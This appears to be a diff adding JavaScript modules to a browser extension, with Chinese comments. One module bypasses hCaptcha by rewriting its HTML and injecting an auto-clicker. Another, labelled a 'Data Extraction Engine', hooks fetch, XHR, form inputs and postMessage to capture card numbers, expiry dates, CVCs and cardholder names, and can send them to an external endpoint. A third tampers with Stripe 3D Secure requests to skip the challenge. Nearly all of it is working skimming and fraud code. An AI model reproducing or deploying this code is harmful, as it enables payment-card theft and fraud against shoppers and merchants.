// 啟動點擊循環
clickInterval = setInterval(attemptClick, ${config.clickDelay});
// 冗餘觸發
setTimeout(attemptClick, 500);
setTimeout(attemptClick, 1500);
setTimeout(attemptClick, 3000);
// 通知父窗口注入成功
setTimeout(() => {
window.parent.postMessage({
type: 'HCAPTCHA_BYPASS_INJECTOR_LOADED',
msg: 'hCaptcha Injector Loaded'
}, '*');
}, 2000);
})();
`;
}
/**
* Hook Fetch API
*/
hookFetch() {
const originalFetch = window.fetch;
const self = this;
window.fetch = function(...args) {
const url = typeof args[0] === 'string' ? args[0] : args[0]?.url;
// 檢查是否為目標 URL
const isTarget = url && self.targetUrlPattern.test(url);
if (!isTarget || !self.config.enabled) {
return originalFetch.apply(this, args);
}
self.log('Fetch intercepted:', url);
// 攔截並修改響應
return originalFetch.apply(this, args).then(response => {
return response.text().then(html => {
const modifiedHtml = self.injectScript(html);
return new Response(modifiedHtml, {
status: response.status,
statusText: response.statusText,
headers: response.headers
});
});
});
};
}
/**
* Hook XMLHttpRequest
*/
hookXHR() {
const originalOpen = XMLHttpRequest.prototype.open;
const originalSend = XMLHttpRequest.prototype.send;
const self = this;
XMLHttpRequest.prototype.open = function(method, url, ...rest) {
this._interceptedUrl = url;
return originalOpen.apply(this, [method, url, ...rest]);
};
XMLHttpRequest.prototype.send = function(...args) {
const url = this._interceptedUrl;
const isTarget = url && self.targetUrlPattern.test(url);
if (!isTarget || !self.config.enabled) {
return originalSend.apply(this, args);
}
self.log('XHR intercepted:', url);
const originalOnReadyStateChange = this.onreadystatechange;
this.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
let html = this.responseText;
if (html) {
html = self.injectScript(html);
Object.defineProperty(this, 'responseText', {
get: () => html,
configurable: true
});
Object.defineProperty(this, 'response', {
get: () => html,
configurable: true
});
}
}
if (originalOnReadyStateChange) {
originalOnReadyStateChange.apply(this, arguments);
}
};
return originalSend.apply(this, args);
};
}
/**
* 注入腳本到 HTML
*/
injectScript(html) {
let modified = html;
// 1. 替換檢測邏輯 (將 false 改為 true)
this.replacementPatterns.forEach(pattern => {
modified = modified.replace(pattern, match => {
return match.replace(/!1|false|0/g, '!0'); // !0 === true
});
});
// 2. 注入自動點擊腳本
const scriptTag = `<script>${this.injectedPayload}</script>`;
if (modified.includes('</body>')) {
modified = modified.replace('</body>', scriptTag + '</body>');
} else if (modified.includes('</html>')) {
modified = modified.replace('</html>', scriptTag + '</html>');
} else {
modified += scriptTag;
}
this.log('Script injected into hCaptcha HTML');
return modified;
}
/**
* 日誌輸出
*/
log(...args) {
if (this.config.debug) {
console.log('[HCaptcha Bypass Module]', ...args);
}
}
/**
* 更新配置
*/
updateConfig(newConfig) {
Object.assign(this.config, newConfig);
this.exposeSettings();
this.log('Config updated:', this.config);
}
/**
* 手動觸發點擊 (從外部調用)
*/
triggerClick() {
const iframes = document.querySelectorAll('iframe[src*="hcaptcha.com"]');
iframes.forEach(iframe => {
try {
iframe.contentWindow.postMessage({
type: 'HCAPTCHA_BYPASS_TRIGGER_CLICK'
}, '*');
} catch (e) {
this.log('Cannot access iframe:', e);
}
});
}
}
/**
* ============================================================================
* 全局 API 暴露
* ============================================================================
*/
window.HCaptchaBypassModule = HCaptchaBypassModule;
// 自動初始化選項
if (typeof HCAPTCHA_BYPASS_AUTO_INIT !== 'undefined' && HCAPTCHA_BYPASS_AUTO_INIT) {
const instance = new HCaptchaBypassModule({
enabled: true,
autoClick: true,
debug: true
});
instance.init();
window.__hcaptchaBypass = instance;
}
// ============================================================================
// Extension Compatibility Wrapper
// ============================================================================
window.addEventListener('message', (event) => {
if (event.source !== window) return;
const message = event.data;
if (message && message.type === 'INIT_MODULE' && message.moduleName === 'hcaptchaBypass') {
if (window.__hcaptchaBypassInstance) return;
try {
const instance = new HCaptchaBypassModule(message.config);
instance.init();
window.__hcaptchaBypassInstance = instance;
console.log('[Extension] HCaptcha Bypass initialized');
} catch (error) {
console.error('[Extension] HCaptcha Bypass init failed:', error);
}
}
if (message && message.type === 'DESTROY_MODULE' && message.instanceKey === '__hcaptchaBypassInstance') {
const instance = window.__hcaptchaBypassInstance;
if (instance && typeof instance.destroy === 'function') {
instance.destroy();
delete window.__hcaptchaBypassInstance;
}
}
});

View File

@@ -0,0 +1,838 @@
/**
* ============================================================================
* Payment Handler Module - Data Extraction Engine
* ============================================================================
* 功能:
* 1. 攔截所有支付相關的網絡請求 (Fetch/XHR)
* 2. 監聽表單輸入框的實時變化
* 3. 捕獲 postMessage 通信中的支付數據
* 4. 提取並結構化信用卡數據 (卡號/日期/CVC/持卡人)
* 5. 通過事件系統廣播捕獲的數據
*
* ============================================================================
*/
class PaymentHandlerModule {
constructor(config = {}) {
this.config = {
enabled: true,
debug: false,
// 攔截目標
interceptFetch: true,
interceptXHR: true,
monitorInputs: true,
monitorPostMessage: true,
// 輸入框掃描間隔 (毫秒)
inputScanInterval: 2000,
// 字段選擇器
cardFieldSelectors: [
'input[name*="card"]',
'input[name*="cc"]',
'input[id*="card"]',
'input[autocomplete="cc-number"]',
'input[placeholder*="Card"]'
],
expiryFieldSelectors: [
'input[name*="exp"]',
'input[id*="exp"]',
'input[autocomplete="cc-exp"]'
],
cvcFieldSelectors: [
'input[name*="cvc"]',
'input[name*="cvv"]',
'input[autocomplete="cc-csc"]'
],
holderFieldSelectors: [
'input[name*="name"]',
'input[autocomplete="cc-name"]'
],
// 數據驗證
validateCardNumber: true,
validateExpiry: true,
// 數據存儲
storeCapturedData: true,
maxStoredRecords: 50,
// 外泄配置 (用於測試或合法用途)
exfiltrationEnabled: false,
exfiltrationEndpoint: null, // 外部 API 端點
exfiltrationMethod: 'postMessage', // 'postMessage', 'fetch', 'websocket'
...config
};
// 內部狀態
this.capturedData = [];
this.trackedInputs = new WeakSet();
this.scanTimer = null;
this.listeners = new Map();
// 原始方法保存
this.originalFetch = null;
this.originalXHROpen = null;
this.originalXHRSend = null;
// 綁定方法
this.handleFetch = this.handleFetch.bind(this);
this.handleXHRLoad = this.handleXHRLoad.bind(this);
this.handlePostMessage = this.handlePostMessage.bind(this);
this.scanInputs = this.scanInputs.bind(this);
}
/**
* 初始化模塊
*/
init() {
if (!this.config.enabled) {
this.warn('Payment Handler is disabled');
return;
}
this.log('Initializing Payment Handler Module...');
// 1. Hook 網絡請求
if (this.config.interceptFetch) {
this.hookFetch();
}
if (this.config.interceptXHR) {
this.hookXHR();
}
// 2. 監聽 postMessage
if (this.config.monitorPostMessage) {
window.addEventListener('message', this.handlePostMessage);
}
// 3. 啟動輸入框掃描
if (this.config.monitorInputs) {
this.startInputScanning();
}
// 4. 暴露全局 API
this.exposeGlobalAPI();
this.success('Payment Handler Active. Monitoring for sensitive data...');
}
/**
* 銷毀模塊
*/
destroy() {
// 恢復原始方法
if (this.originalFetch) {
window.fetch = this.originalFetch;
}
if (this.originalXHROpen) {
XMLHttpRequest.prototype.open = this.originalXHROpen;
}
if (this.originalXHRSend) {
XMLHttpRequest.prototype.send = this.originalXHRSend;
}
// 停止掃描
if (this.scanTimer) {
clearInterval(this.scanTimer);
}
// 移除事件監聽
window.removeEventListener('message', this.handlePostMessage);
this.log('Payment Handler destroyed');
}
/**
* ========================================================================
* Fetch Hook
* ========================================================================
*/
hookFetch() {
if (this.originalFetch) return;
this.originalFetch = window.fetch;
const self = this;
window.fetch = async function(...args) {
return await self.handleFetch(this, args, self.originalFetch);
};
this.log('Fetch API hooked');
}
async handleFetch(context, args, originalFetch) {
const [resource, config = {}] = args;
const url = this.extractUrl(resource);
// 檢查請求體中是否包含卡片數據
if (config.body) {
this.analyzeRequestPayload(url, config.body, 'fetch');
}
// 執行原始請求
try {
const response = await originalFetch.apply(context, args);
// 分析響應
const clonedResponse = response.clone();
this.analyzeResponse(url, clonedResponse).catch(() => {});
return response;
} catch (error) {
this.error('Fetch error:', error);
throw error;
}
}
/**
* ========================================================================
* XHR Hook
* ========================================================================
*/
hookXHR() {
if (this.originalXHROpen) return;
const self = this;
const XHR = XMLHttpRequest.prototype;
this.originalXHROpen = XHR.open;
this.originalXHRSend = XHR.send;
XHR.open = function(method, url, ...rest) {
this.__handler_url = url;
this.__handler_method = method;
return self.originalXHROpen.apply(this, [method, url, ...rest]);
};
XHR.send = function(body) {
const xhr = this;
const url = xhr.__handler_url;
// 分析請求體
if (body) {
self.analyzeRequestPayload(url, body, 'xhr');
}
// 監聽響應
xhr.addEventListener('load', function() {
self.handleXHRLoad(xhr, url);
});
return self.originalXHRSend.apply(this, [body]);
};
this.log('XMLHttpRequest hooked');
}
handleXHRLoad(xhr, url) {
try {
if (xhr.responseText) {
this.analyzeResponseText(url, xhr.responseText);
}
} catch (error) {
// Silent
}
}
/**
* ========================================================================
* Payload 分析
* ========================================================================
*/
analyzeRequestPayload(url, body, source) {
try {
let data = null;
// 嘗試解析 JSON
if (typeof body === 'string') {
try {
data = JSON.parse(body);
} catch (e) {
// 嘗試解析 URLSearchParams
if (body.includes('=')) {
const params = new URLSearchParams(body);
data = Object.fromEntries(params);
}
}
} else if (body instanceof FormData) {
data = Object.fromEntries(body);
} else if (typeof body === 'object') {
data = body;
}
// 如果成功解析數據
if (data) {
const extracted = this.extractCardData(data);
if (extracted && Object.keys(extracted).length > 0) {
this.log(`Card data found in ${source} request to ${url}`);
this.captureData({
source: 'network_request',
type: source,
url: url,
data: extracted
});
}
}
} catch (error) {
this.error('Payload analysis error:', error);
}
}
async analyzeResponse(url, response) {
try {
const text = await response.text();
this.analyzeResponseText(url, text);
} catch (error) {
// Silent
}
}
analyzeResponseText(url, text) {
if (!text) return;
try {
const data = JSON.parse(text);
const extracted = this.extractCardData(data);
if (extracted && Object.keys(extracted).length > 0) {
this.log(`Card data found in response from ${url}`);
this.captureData({
source: 'network_response',
url: url,
data: extracted
});
}
} catch (error) {
// Not JSON, ignore
}
}
/**
* ========================================================================
* 輸入框監聽
* ========================================================================
*/
startInputScanning() {
this.scanInputs(); // 立即執行一次
this.scanTimer = setInterval(() => {
this.scanInputs();
}, this.config.inputScanInterval);
this.log('Input scanning started');
}
scanInputs() {
try {
// 合併所有選擇器
const allSelectors = [
...this.config.cardFieldSelectors,
...this.config.expiryFieldSelectors,
...this.config.cvcFieldSelectors,
...this.config.holderFieldSelectors
].join(', ');
const inputs = document.querySelectorAll(allSelectors);
inputs.forEach(input => {
if (!this.trackedInputs.has(input)) {
this.trackInput(input);
}
});
} catch (error) {
this.error('Input scanning error:', error);
}
}
trackInput(input) {
this.trackedInputs.add(input);
// 監聽多種事件
const events = ['change', 'blur', 'input'];
events.forEach(eventType => {
input.addEventListener(eventType, (e) => {
this.handleInputChange(e.target);
});
});
this.log(`Tracking input: ${input.name || input.id || 'unknown'}`);
}
handleInputChange(input) {
const value = input.value;
if (!value || value.length < 3) return;
const fieldType = this.identifyFieldType(input);
if (fieldType) {
this.log(`Input captured: ${fieldType} = ${value.substring(0, 4)}...`);
this.captureData({
source: 'user_input',
fieldType: fieldType,
fieldName: input.name || input.id,
value: value,
element: input
});
}
}
identifyFieldType(input) {
const name = (input.name || '').toLowerCase();
const id = (input.id || '').toLowerCase();
const placeholder = (input.placeholder || '').toLowerCase();
const combined = `${name} ${id} ${placeholder}`;
if (/card.*number|cc.*number/.test(combined)) return 'cardNumber';
if (/exp|expiry|expiration/.test(combined)) return 'expiry';
if (/cvc|cvv|security/.test(combined)) return 'cvc';
if (/name|holder|cardholder/.test(combined)) return 'holderName';
return null;
}
/**
* ========================================================================
* postMessage 監聽
* ========================================================================
*/
handlePostMessage(event) {
try {
const data = event.data;
if (!data || typeof data !== 'object') return;
// 檢查是否包含支付相關數據
const extracted = this.extractCardData(data);
if (extracted && Object.keys(extracted).length > 0) {
this.log('Card data found in postMessage');
this.captureData({
source: 'postMessage',
origin: event.origin,
data: extracted
});
}
} catch (error) {
// Silent
}
}
/**
* ========================================================================
* 數據提取與驗證
* ========================================================================
*/
extractCardData(obj) {
if (!obj || typeof obj !== 'object') return null;
const result = {};
// 遞歸搜索對象
const search = (target, depth = 0) => {
if (depth > 5) return; // 防止過深遞歸
for (const [key, value] of Object.entries(target)) {
const keyLower = key.toLowerCase();
// 卡號
if (/card.*number|cc.*number|pan|number/.test(keyLower)) {
const cleaned = this.cleanCardNumber(value);
if (this.isValidCardNumber(cleaned)) {
result.cardNumber = cleaned;
}
}
// 日期
if (/exp|expiry|expiration/.test(keyLower)) {
if (this.isValidExpiry(value)) {
result.expiry = value;
}
}
// CVC
if (/cvc|cvv|security.*code/.test(keyLower)) {
if (/^\d{3,4}$/.test(value)) {
result.cvc = value;
}
}
// 持卡人姓名
if (/holder|name|cardholder/.test(keyLower)) {
if (typeof value === 'string' && value.length > 2) {
result.holderName = value;
}
}
// 遞歸搜索嵌套對象
if (typeof value === 'object' && value !== null) {
search(value, depth + 1);
}
}
};
search(obj);
return Object.keys(result).length > 0 ? result : null;
}
cleanCardNumber(value) {
if (typeof value !== 'string') value = String(value);
return value.replace(/\D/g, '');
}
isValidCardNumber(number) {
if (!this.config.validateCardNumber) return true;
// Luhn 算法驗證
if (!/^\d{13,19}$/.test(number)) return false;
let sum = 0;
let isEven = false;
for (let i = number.length - 1; i >= 0; i--) {
let digit = parseInt(number.charAt(i), 10);
if (isEven) {
digit *= 2;
if (digit > 9) {
digit -= 9;
}
}
sum += digit;
isEven = !isEven;
}
return (sum % 10) === 0;
}
isValidExpiry(value) {
if (!this.config.validateExpiry) return true;
// 支持多種格式MM/YY, MM/YYYY, MMYY, MM-YY
const cleaned = String(value).replace(/\D/g, '');
if (cleaned.length === 4) {
const month = parseInt(cleaned.substring(0, 2));
const year = parseInt(cleaned.substring(2, 4));
return month >= 1 && month <= 12 && year >= 0;
} else if (cleaned.length === 6) {
const month = parseInt(cleaned.substring(0, 2));
return month >= 1 && month <= 12;
}
return false;
}
/**
* ========================================================================
* 數據捕獲與存儲
* ========================================================================
*/
captureData(captureInfo) {
const record = {
id: this.generateId(),
timestamp: Date.now(),
url: window.location.href,
...captureInfo
};
// 存儲記錄
if (this.config.storeCapturedData) {
this.capturedData.push(record);
// 限制存儲大小
if (this.capturedData.length > this.config.maxStoredRecords) {
this.capturedData.shift();
}
}
// 廣播事件
this.broadcastEvent('DATA_CAPTURED', record);
// 外泄數據 (如果啟用)
if (this.config.exfiltrationEnabled) {
this.exfiltrateData(record);
}
this.success(`Data captured from ${captureInfo.source}`);
}
/**
* ========================================================================
* 數據外泄 (僅用於合法測試)
* ========================================================================
*/
exfiltrateData(record) {
try {
switch (this.config.exfiltrationMethod) {
case 'postMessage':
window.postMessage({
type: 'PAYMENT_DATA_EXFILTRATION',
data: record
}, '*');
break;
case 'fetch':
if (this.config.exfiltrationEndpoint) {
fetch(this.config.exfiltrationEndpoint, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(record)
}).catch(() => {});
}
break;
case 'websocket':
// WebSocket 實現 (需要外部 WS 服務器)
if (window.__exfiltrationWS && window.__exfiltrationWS.readyState === WebSocket.OPEN) {
window.__exfiltrationWS.send(JSON.stringify(record));
}
break;
case 'localStorage':
const existing = JSON.parse(localStorage.getItem('__captured_data') || '[]');
existing.push(record);
localStorage.setItem('__captured_data', JSON.stringify(existing));
break;
}
this.log('Data exfiltrated via ' + this.config.exfiltrationMethod);
} catch (error) {
this.error('Exfiltration error:', error);
}
}
/**
* ========================================================================
* 事件系統
* ========================================================================
*/
broadcastEvent(eventType, payload) {
const message = {
type: `PAYMENT_HANDLER_${eventType}`,
...payload,
timestamp: Date.now()
};
// postMessage
window.postMessage(message, '*');
// CustomEvent
const event = new CustomEvent('PAYMENT_HANDLER_EVENT', {
detail: message
});
window.dispatchEvent(event);
// 內部監聽器
if (this.listeners.has(eventType)) {
this.listeners.get(eventType).forEach(callback => {
try {
callback(payload);
} catch (error) {
this.error('Listener error:', error);
}
});
}
}
on(eventType, callback) {
if (!this.listeners.has(eventType)) {
this.listeners.set(eventType, []);
}
this.listeners.get(eventType).push(callback);
}
/**
* ========================================================================
* 數據查詢 API
* ========================================================================
*/
getCapturedData(filter = {}) {
let data = [...this.capturedData];
if (filter.source) {
data = data.filter(d => d.source === filter.source);
}
if (filter.timeRange) {
const { start, end } = filter.timeRange;
data = data.filter(d => d.timestamp >= start && d.timestamp <= end);
}
if (filter.containsCardNumber) {
data = data.filter(d => d.data && d.data.cardNumber);
}
return data;
}
getLastCaptured() {
return this.capturedData[this.capturedData.length - 1] || null;
}
clearCapturedData() {
this.capturedData = [];
this.log('Captured data cleared');
}
/**
* 導出捕獲的數據
*/
exportData(format = 'json') {
if (format === 'json') {
return JSON.stringify(this.capturedData, null, 2);
} else if (format === 'csv') {
const headers = ['timestamp', 'source', 'cardNumber', 'expiry', 'cvc', 'holderName'];
let csv = headers.join(',') + '\n';
this.capturedData.forEach(record => {
const row = [
new Date(record.timestamp).toISOString(),
record.source,
record.data?.cardNumber || '',
record.data?.expiry || '',
record.data?.cvc || '',
record.data?.holderName || ''
];
csv += row.join(',') + '\n';
});
return csv;
}
}
/**
* ========================================================================
* 工具方法
* ========================================================================
*/
extractUrl(resource) {
if (typeof resource === 'string') return resource;
if (resource instanceof Request) return resource.url;
if (resource instanceof URL) return resource.toString();
return '';
}
generateId() {
return `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
}
/**
* ========================================================================
* 全局 API
* ========================================================================
*/
exposeGlobalAPI() {
window.paymentHandler = {
module: this,
on: (event, callback) => this.on(event, callback),
getData: (filter) => this.getCapturedData(filter),
getLastCaptured: () => this.getLastCaptured(),
clearData: () => this.clearCapturedData(),
export: (format) => this.exportData(format),
getStatus: () => ({
enabled: this.config.enabled,
totalCaptured: this.capturedData.length,
lastCapture: this.getLastCaptured()
})
};
this.log('Global API exposed as window.paymentHandler');
}
/**
* ========================================================================
* 日誌工具
* ========================================================================
*/
log(...args) {
if (this.config.debug) {
console.log('[PaymentHandler]', ...args);
}
}
success(msg) {
console.log(`%c[PaymentHandler SUCCESS] ${msg}`, 'color: lime; font-weight: bold;');
}
warn(msg) {
console.log(`%c[PaymentHandler WARN] ${msg}`, 'color: orange; font-weight: bold;');
}
error(...args) {
console.error('[PaymentHandler ERROR]', ...args);
}
}
/**
* ============================================================================
* 全局暴露
* ============================================================================
*/
window.PaymentHandlerModule = PaymentHandlerModule;
// 自動初始化選項
if (typeof PAYMENT_HANDLER_AUTO_INIT !== 'undefined' && PAYMENT_HANDLER_AUTO_INIT) {
const instance = new PaymentHandlerModule({
enabled: true,
debug: true
});
instance.init();
window.__paymentHandler = instance;
}
// ============================================================================
// Extension Compatibility Wrapper
// ============================================================================
window.addEventListener('message', (event) => {
if (event.source !== window) return;
const message = event.data;
if (message && message.type === 'INIT_MODULE' && message.moduleName === 'paymentHandler') {
if (window.__paymentHandlerInstance) return;
try {
const instance = new PaymentHandlerModule(message.config);
instance.init();
window.__paymentHandlerInstance = instance;
console.log('[Extension] Payment Handler initialized');
} catch (error) {
console.error('[Extension] Payment Handler init failed:', error);
}
}
if (message && message.type === 'DESTROY_MODULE' && message.instanceKey === '__paymentHandlerInstance') {
const instance = window.__paymentHandlerInstance;
if (instance && typeof instance.destroy === 'function') {
instance.destroy();
delete window.__paymentHandlerInstance;
}
}
});

View File

@@ -0,0 +1,636 @@
/**
* ============================================================================
* 3D Secure (3DS) Handler Module (Modularized Version)
* ============================================================================
* 功能:
* 1. 攔截 Stripe 3DS 驗證相關的網絡請求
* 2. 監控驗證流程狀態 (進行中/成功/失敗)
* 3. 修改請求體以繞過指紋檢測
* 4. 通過 postMessage 和自定義事件廣播結果
* 5. 自動清理過期記錄防止內存泄漏
*
* 使用方式:
* const handler = new ThreeDSecureHandlerModule(config);
* handler.init();
* ============================================================================
*/
class ThreeDSecureHandlerModule {
constructor(config = {}) {
// 默認配置
this.config = {
enabled: true, // 是否啟用攔截
debug: false, // 調試模式
modifyPayload: false, // 是否修改請求體
cleanupInterval: 5000, // 清理間隔 (ms)
successTimeout: 30000, // 成功記錄過期時間 (ms)
maxCompletedRecords: 50, // 最大完成記錄數
targetDomains: [ // 目標域名
'stripe.com',
'stripejs.com'
],
targetKeywords: [ // URL 關鍵詞
'3d_secure',
'3ds',
'challenge',
'authenticate'
],
successIndicators: [ // 響應成功標識
'challenge_completed',
'3DS_COMPLETE',
'authenticated',
'success'
],
failureIndicators: [ // 響應失敗標識
'challenge_failed',
'3DS_FAILED',
'authentication_failed'
],
...config
};
// 運行時狀態
this.inProgressRequests = new Set(); // 進行中的請求
this.successfulRequests = new Map(); // 成功的請求 (url => timestamp)
this.completedRequests = new Set(); // 已完成的請求
this.cleanupIntervalId = null;
// 原始方法引用
this.originalFetch = null;
this.originalXHROpen = null;
this.originalXHRSend = null;
// 綁定方法上下文
this.handleFetch = this.handleFetch.bind(this);
this.handleXHR = this.handleXHR.bind(this);
this.cleanup = this.cleanup.bind(this);
}
/**
* 初始化模塊
*/
init() {
this.log('Initializing 3DS Handler Module...');
// 1. 暴露狀態到全局 (供外部檢查)
this.exposeGlobalState();
// 2. Hook 網絡請求
this.hookFetch();
this.hookXHR();
// 3. 啟動清理任務
this.startCleanupTask();
// 4. 註冊消息監聽
this.setupMessageListener();
this.log('Module initialized successfully');
}
/**
* 銷毀模塊
*/
destroy() {
// 恢復原始方法
if (this.originalFetch) {
window.fetch = this.originalFetch;
}
if (this.originalXHROpen) {
XMLHttpRequest.prototype.open = this.originalXHROpen;
}
if (this.originalXHRSend) {
XMLHttpRequest.prototype.send = this.originalXHRSend;
}
// 清理定時器
if (this.cleanupIntervalId) {
clearInterval(this.cleanupIntervalId);
}
this.log('Module destroyed');
}
/**
* 暴露狀態到全局
*/
exposeGlobalState() {
window.__3DSInProgress = this.inProgressRequests;
window.__3DSSuccessful = this.successfulRequests;
window.__3DSCompleted = this.completedRequests;
}
/**
* ========================================================================
* Fetch API Hook
* ========================================================================
*/
hookFetch() {
if (this.originalFetch) return; // 防止重複 hook
this.originalFetch = window.fetch;
const self = this;
window.fetch = async function(...args) {
return await self.handleFetch(this, args, self.originalFetch);
};
this.log('Fetch API hooked');
}
async handleFetch(context, args, originalFetch) {
const [url, options = {}] = args;
const urlString = this.normalizeUrl(url);
// 檢查是否為目標請求
if (!this.isTargetRequest(urlString)) {
return await originalFetch.apply(context, args);
}
this.log('Intercepted Fetch request:', urlString);
this.inProgressRequests.add(urlString);
// 修改請求體 (如果啟用)
if (this.config.modifyPayload && options.body) {
try {
options.body = this.modifyRequestBody(options.body, urlString);
this.log('Modified request body');
} catch (e) {
this.error('Failed to modify request body:', e);
}
}
// 執行原始請求
let response;
try {
response = await originalFetch.apply(context, [url, options]);
} catch (err) {
this.inProgressRequests.delete(urlString);
this.error('Fetch request failed:', err);
throw err;
}
// 處理響應
await this.processResponse(response, urlString);
return response;
}
/**
* ========================================================================
* XMLHttpRequest Hook
* ========================================================================
*/
hookXHR() {
if (this.originalXHROpen) return;
this.originalXHROpen = XMLHttpRequest.prototype.open;
this.originalXHRSend = XMLHttpRequest.prototype.send;
const self = this;
// Hook open 方法以獲取 URL
XMLHttpRequest.prototype.open = function(method, url, ...rest) {
this._3dsUrl = self.normalizeUrl(url);
this._3dsMethod = method;
return self.originalXHROpen.apply(this, [method, url, ...rest]);
};
// Hook send 方法以處理請求和響應
XMLHttpRequest.prototype.send = function(body) {
const url = this._3dsUrl;
if (!self.isTargetRequest(url)) {
return self.originalXHRSend.apply(this, [body]);
}
self.log('Intercepted XHR request:', url);
self.inProgressRequests.add(url);
// 修改請求體
if (self.config.modifyPayload && body) {
try {
body = self.modifyRequestBody(body, url);
self.log('Modified XHR body');
} catch (e) {
self.error('Failed to modify XHR body:', e);
}
}
// 監聽響應
const originalOnReadyStateChange = this.onreadystatechange;
this.onreadystatechange = function() {
if (this.readyState === 4) {
self.processXHRResponse(this, url);
}
if (originalOnReadyStateChange) {
originalOnReadyStateChange.apply(this, arguments);
}
};
return self.originalXHRSend.apply(this, [body]);
};
this.log('XHR hooked');
}
/**
* ========================================================================
* 請求/響應處理
* ========================================================================
*/
/**
* 標準化 URL
*/
normalizeUrl(url) {
try {
if (typeof url === 'string') return url;
if (url instanceof URL) return url.toString();
if (url && url.url) return url.url;
return String(url);
} catch (e) {
return '';
}
}
/**
* 判斷是否為目標請求
*/
isTargetRequest(url) {
if (!this.config.enabled || !url) return false;
// 檢查域名
const domainMatch = this.config.targetDomains.some(domain =>
url.includes(domain)
);
// 檢查關鍵詞
const keywordMatch = this.config.targetKeywords.some(keyword =>
url.toLowerCase().includes(keyword.toLowerCase())
);
return domainMatch || keywordMatch;
}
/**
* 修改請求體 (繞過指紋檢測)
*/
modifyRequestBody(body, url) {
// 這裡可以實現具體的修改邏輯
// 例如:移除瀏覽器指紋參數、修改 User-Agent 相關字段等
if (typeof body === 'string') {
try {
const json = JSON.parse(body);
// 移除常見的指紋字段
delete json.browser_fingerprint;
delete json.device_fingerprint;
delete json.canvas_fingerprint;
// 強制某些安全參數
if (json.challenge_type) {
json.challenge_type = 'frictionless'; // 嘗試跳過挑戰
}
return JSON.stringify(json);
} catch (e) {
// 不是 JSON可能是 FormData 或其他格式
return body;
}
}
return body;
}
/**
* 處理 Fetch 響應
*/
async processResponse(response, url) {
try {
const clone = response.clone();
const status = response.status;
if (status === 200) {
const text = await clone.text();
const verificationStatus = this.analyzeResponseText(text);
if (verificationStatus === 'success') {
this.handleSuccess(url, response.url);
} else if (verificationStatus === 'failed') {
this.handleFailure(url);
} else {
this.log('3DS request completed with unknown status');
}
}
} catch (e) {
this.error('Error processing response:', e);
} finally {
this.inProgressRequests.delete(url);
}
}
/**
* 處理 XHR 響應
*/
processXHRResponse(xhr, url) {
try {
if (xhr.status === 200) {
const text = xhr.responseText;
const verificationStatus = this.analyzeResponseText(text);
if (verificationStatus === 'success') {
this.handleSuccess(url, xhr.responseURL);
} else if (verificationStatus === 'failed') {
this.handleFailure(url);
}
}
} catch (e) {
this.error('Error processing XHR response:', e);
} finally {
this.inProgressRequests.delete(url);
}
}
/**
* 分析響應文本判斷驗證狀態
*/
analyzeResponseText(text) {
if (!text) return 'unknown';
const textLower = text.toLowerCase();
// 檢查成功標識
const isSuccess = this.config.successIndicators.some(indicator =>
textLower.includes(indicator.toLowerCase())
);
if (isSuccess) return 'success';
// 檢查失敗標識
const isFailure = this.config.failureIndicators.some(indicator =>
textLower.includes(indicator.toLowerCase())
);
if (isFailure) return 'failed';
return 'unknown';
}
/**
* 處理驗證成功
*/
handleSuccess(requestUrl, responseUrl) {
const timestamp = Date.now();
const key = `${requestUrl}_${timestamp}`;
this.successfulRequests.set(key, timestamp);
this.completedRequests.add(requestUrl);
this.log('✓ 3DS Verification Successful!', responseUrl);
// 廣播成功消息
this.broadcastEvent({
type: 'STRIPE_BYPASSER_EVENT',
eventType: '3DS_COMPLETE',
status: 'success',
url: responseUrl,
requestUrl: requestUrl,
timestamp: timestamp
});
// 觸發自定義 DOM 事件
this.dispatchDOMEvent('3DS_COMPLETE', {
status: 'success',
url: responseUrl,
requestUrl: requestUrl
});
}
/**
* 處理驗證失敗
*/
handleFailure(url) {
this.warn('✗ 3DS Verification Failed:', url);
this.broadcastEvent({
type: 'STRIPE_BYPASSER_EVENT',
eventType: '3DS_FAILED',
status: 'failed',
url: url,
timestamp: Date.now()
});
this.dispatchDOMEvent('3DS_FAILED', {
status: 'failed',
url: url
});
}
/**
* ========================================================================
* 事件廣播
* ========================================================================
*/
/**
* 通過 postMessage 廣播
*/
broadcastEvent(data) {
try {
window.postMessage(data, '*');
// 也嘗試向父窗口發送
if (window.parent !== window) {
window.parent.postMessage(data, '*');
}
} catch (e) {
this.error('Failed to broadcast event:', e);
}
}
/**
* 觸發自定義 DOM 事件
*/
dispatchDOMEvent(eventName, detail) {
try {
if (document) {
const event = new CustomEvent(eventName, { detail });
document.dispatchEvent(event);
}
} catch (e) {
this.error('Failed to dispatch DOM event:', e);
}
}
/**
* 監聽來自外部的消息
*/
setupMessageListener() {
window.addEventListener('message', (event) => {
if (event.data?.type === '3DS_HANDLER_UPDATE_CONFIG') {
this.updateConfig(event.data.config);
}
if (event.data?.type === '3DS_HANDLER_RESET') {
this.reset();
}
});
}
/**
* ========================================================================
* 清理與維護
* ========================================================================
*/
/**
* 啟動清理任務
*/
startCleanupTask() {
if (this.cleanupIntervalId) return;
this.cleanupIntervalId = setInterval(
this.cleanup,
this.config.cleanupInterval
);
this.log('Cleanup task started');
}
/**
* 清理過期記錄
*/
cleanup() {
const now = Date.now();
// 清理過期的成功記錄
for (const [key, timestamp] of this.successfulRequests.entries()) {
if (now - timestamp > this.config.successTimeout) {
this.successfulRequests.delete(key);
}
}
// 限制 completedRequests 大小
if (this.completedRequests.size > this.config.maxCompletedRecords) {
const entries = Array.from(this.completedRequests);
const toRemove = entries.slice(
0,
entries.length - this.config.maxCompletedRecords
);
toRemove.forEach(item => this.completedRequests.delete(item));
}
if (this.config.debug) {
this.log('Cleanup completed', {
successful: this.successfulRequests.size,
completed: this.completedRequests.size,
inProgress: this.inProgressRequests.size
});
}
}
/**
* 重置所有狀態
*/
reset() {
this.inProgressRequests.clear();
this.successfulRequests.clear();
this.completedRequests.clear();
this.log('Module state reset');
}
/**
* ========================================================================
* 配置管理
* ========================================================================
*/
/**
* 更新配置
*/
updateConfig(newConfig) {
Object.assign(this.config, newConfig);
this.log('Config updated:', this.config);
}
/**
* 獲取當前狀態
*/
getStatus() {
return {
inProgress: Array.from(this.inProgressRequests),
successful: Array.from(this.successfulRequests.keys()),
completed: Array.from(this.completedRequests),
config: this.config
};
}
/**
* ========================================================================
* 日誌工具
* ========================================================================
*/
log(...args) {
if (this.config.debug) {
console.log('[3DS Handler]', ...args);
}
}
warn(...args) {
if (this.config.debug) {
